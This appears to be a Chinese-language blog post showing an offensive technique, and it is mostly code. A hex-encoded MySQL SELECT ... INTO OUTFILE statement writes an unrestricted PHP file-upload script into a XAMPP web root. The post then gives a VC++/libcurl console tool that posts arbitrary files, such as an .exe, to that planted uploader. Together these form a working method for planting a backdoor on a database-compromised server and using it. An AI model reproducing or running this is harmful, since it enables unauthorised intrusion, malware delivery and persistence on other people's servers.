http://www.cnblogs.com/killbit/p/5393301.html 附上这篇文章，因为当时就已经想到了模拟上传，但是因为时间关系，所以就直接用PHP写了。现在改进一下，用VC+libcurl库。

我们也直接可以用MYSQL写入这段上传代码就可以了。

select 0x3C3F70687020696628245F46494C45535B2766696C65275D5B276E616D65275D20213D20222229207B20636F70792028245F46494C45535B2766696C65275D5B27746D705F6E616D65275D2C20245F46494C45535B2766696C65275D5B276E616D65275D2920206F7220646965202822436F756C64206E6F7420636F70792066696C6522293B207D20656C7365207B20206469652820224E6F2066696C65207370656369666965642220293B7D3F3E into outfile 'c:\\xampp\\htdocs\\upload.php';

upload.html

<form action="upload.php" method="post" enctype="multipart/form-data">
 File:
 <input type="file" name="file">
 FileName:
 <input type="text" name="name">   
 <input type="submit" name="submit" value="Submit">  
</form>

upload.php

<?php if($_FILES['file']['name'] != "") { copy ($_FILES['file']['tmp_name'], $_FILES['file']['name'])  or die ("Could not copy file"); } else {  die( "No file specified" );}?>

VC代码：

// curl_uploader.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <curl/curl.h>
#pragma comment(lib,"libcurl.lib");

int http_post_upload(char* Urlpath,char* uploadname)
{
    CURL *curl;  
    CURLcode res;  

      struct curl_httppost *formpost=NULL;  
      struct curl_httppost *lastptr=NULL;  
      struct curl_slist *headerlist=NULL;  
      static const char buf[] = "Expect:";  
  
      curl_global_init(CURL_GLOBAL_ALL);  
  
      /* Fill in the file upload field */  
      curl_formadd(&formpost,  
                   &lastptr,  
                   CURLFORM_COPYNAME, "file",  
                   CURLFORM_FILE, uploadname,  
                   CURLFORM_END);  
  
      /* Fill in the filename field */  
//       curl_formadd(&formpost,  
//                    &lastptr,  
//                    CURLFORM_COPYNAME, "name",  
//                    CURLFORM_COPYCONTENTS, tempname,  
//                    CURLFORM_END);  
  
      /* Fill in the submit field too, even if this is rarely needed */  
      curl_formadd(&formpost,  
                   &lastptr,  
                   CURLFORM_COPYNAME, "submit",  
                   CURLFORM_COPYCONTENTS, "Submit",  
                   CURLFORM_END);  
  
      curl = curl_easy_init();  
      /* initalize custom header list (stating that Expect: 100-continue is not 
         wanted */  
      headerlist = curl_slist_append(headerlist, buf);  
      if(curl) {  
        /* what URL that receives this POST */  

         curl_easy_setopt(curl, CURLOPT_URL, Urlpath);
    /*    if ( (argc == 2) && (!strcmp(argv[1], "noexpectheader")) )  */
          /* only disable 100-continue header if explicitly requested */  
          curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);  
         curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);  
    //   
        /* Perform the request, res will get the return code */  
        res = curl_easy_perform(curl);  
        /* Check for errors */  
        if(res != CURLE_OK)  
          fprintf(stderr, "curl_easy_perform() failed: %s\n",  
                  curl_easy_strerror(res));  
  
        /* always cleanup */  
        curl_easy_cleanup(curl);  
  
        /* then cleanup the formpost chain */  
        curl_formfree(formpost);  
        /* free slist */  
        curl_slist_free_all (headerlist);  
      }  
      return 0;  
}


int main(int argc, char *argv[])  
{  
    char* url = argv[1];
    char* Filename = argv[2];

    if (argc < 2)
    {
        printf("[-]:%s Upload_url upload_Filename\r\n",argv[0]);
        printf("[-]:%s http://192.168.1.1/upload.php c:\\test.exe\r\n",argv[0]);
        exit(0);
    }

    int res = http_post_upload(url,Filename);
    if (res != 0)
    {
        printf("\r\n[-]:upload error->Getlasterror:%d\r\n",GetLastError());
    }else
    {
        printf("\r\n[+]:upload sucessfuly \r\n");
    }
    return 0;

}